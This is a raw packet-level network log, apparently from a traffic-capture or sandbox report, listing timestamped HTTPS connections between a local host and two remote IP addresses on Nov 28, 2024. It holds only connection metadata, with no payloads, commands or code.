Nov 28, 2024 00:19:21.702748060 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.702846050 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.702858925 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.703078032 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.731204033 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.731220007 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.731331110 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.731353998 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.732366085 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.758800030 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.758817911 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.758922100 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.758949995 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.759310961 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.778115034 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.778141975 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.778194904 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.778207064 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.778238058 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.778256893 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.779723883 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.779784918 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.779844046 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.779853106 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.779876947 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.780121088 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.780406952 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.780428886 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.780467987 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.780477047 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.780509949 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.780509949 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.780549049 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.780565977 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.780612946 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.780621052 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.781713009 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.806174040 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.806221962 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.806256056 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.806262970 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.806304932 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.806397915 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.809582949 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.809634924 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.809653044 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.809660912 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.809686899 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.809705973 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.811449051 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.811467886 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.811553001 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.811559916 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.811598063 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.833337069 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.833414078 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.833441019 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.833453894 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.833508968 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.833508968 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.834132910 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.834153891 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.834214926 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.834220886 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.834259033 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.834273100 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.836600065 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.836647034 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.836699963 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.836707115 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.836741924 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.836765051 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.854880095 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.854931116 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.854967117 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.854974031 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.855010986 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.855031967 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.855645895 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.855664015 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.855741024 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.855747938 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.855921030 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.858171940 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.858232021 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.858258963 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.858266115 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.858297110 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.858319044 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.889448881 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.889492989 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.889604092 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.889604092 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.889621973 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.889813900 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.906497955 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.906514883 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.906615973 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.906629086 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.906857967 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.921438932 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.921454906 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.921509027 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.921516895 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.921561956 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.933959007 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.933975935 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.934047937 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.934056997 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.934293032 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.948761940 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.948777914 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.948818922 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.948827028 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.948864937 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.948889017 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.962455034 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.962471962 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.962531090 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.962538958 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.962589025 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.976993084 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977010012 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977092981 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977103949 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977133989 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977438927 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977500916 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977514982 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977534056 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977545023 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977569103 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977581978 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977775097 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977813005 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977837086 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977843046 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.977890015 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.977900028 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.979659081 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.979711056 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.979765892 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.979773998 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.979809046 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.979847908 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.991831064 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.991851091 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.991950035 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.991957903 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.992006063 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.993144035 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.993192911 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.993232012 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.993238926 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.993278027 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.993293047 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.993722916 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.993768930 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.993813038 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.993825912 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.993849039 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.993870020 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.006761074 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.006782055 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.006856918 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.006865978 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.006906986 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.006923914 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.008404016 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.008456945 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.008487940 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.008495092 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.008532047 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.008549929 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.008584976 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.008603096 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.008661985 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.008671045 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.008713961 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.021575928 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.021678925 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.021713018 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.021719933 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.021775961 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.022437096 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.022460938 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.022516966 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.022521019 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.022556067 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.022578955 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.023804903 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.023852110 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.023893118 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.023900986 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.023962975 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.034527063 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.034545898 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.034656048 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.034662008 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.034706116 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.036799908 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.036820889 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.036912918 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.036921978 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.037087917 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.037529945 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.037585974 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.037604094 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.037614107 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.037691116 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.037691116 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.050479889 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.050507069 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.050811052 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.050816059 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.050860882 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.052490950 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.052540064 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.052561045 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.052570105 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.052622080 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.052632093 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.052934885 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.052954912 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.053014994 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.053023100 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.053070068 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.066042900 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.066065073 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.066143990 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.066152096 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.066206932 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.074419022 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.074445963 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.074549913 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.074567080 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.074609995 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.086672068 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.086688995 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.086781979 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.086796045 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.086827040 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.086846113 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.097817898 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.097835064 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.097913980 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.097925901 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.097980022 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.106828928 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.106852055 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.106956005 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.106970072 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.107009888 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.113287926 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.116786957 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.116803885 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.116884947 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.116895914 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.116949081 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.126024008 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.126041889 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.126471043 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.126481056 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.126537085 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.135770082 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.135787964 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.135842085 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.135852098 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.135888100 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.135914087 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.145622969 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.145638943 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.145719051 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.145728111 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.145781994 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.156245947 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.160335064 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.160342932 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.161181927 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.161186934 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.172769070 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.172794104 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.172979116 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.172986031 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.173135042 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.178376913 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.178428888 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.178462029 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.178474903 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.178505898 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.178524017 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.178632975 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.179626942 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.179646969 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.180305958 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.180311918 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.181081057 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.181104898 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.181164026 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.181174994 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.181201935 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.181219101 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.183197975 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.183219910 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.183265924 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.183270931 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.183303118 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.183325052 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.188641071 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.188688993 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.188710928 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.188723087 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.188747883 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.188764095 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.191014051 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.191034079 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.191087008 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.191095114 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.191126108 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.191138983 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.194571018 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.194586992 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.194636106 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.194641113 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.194672108 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.194688082 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.200562954 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.200612068 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.200973034 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.200988054 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.201059103 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.201905966 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.201922894 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.201972008 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.201977968 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.202008009 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.202027082 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.205671072 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.205689907 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.205738068 CET	49724	443	192.168.2.6	150.171.27.10
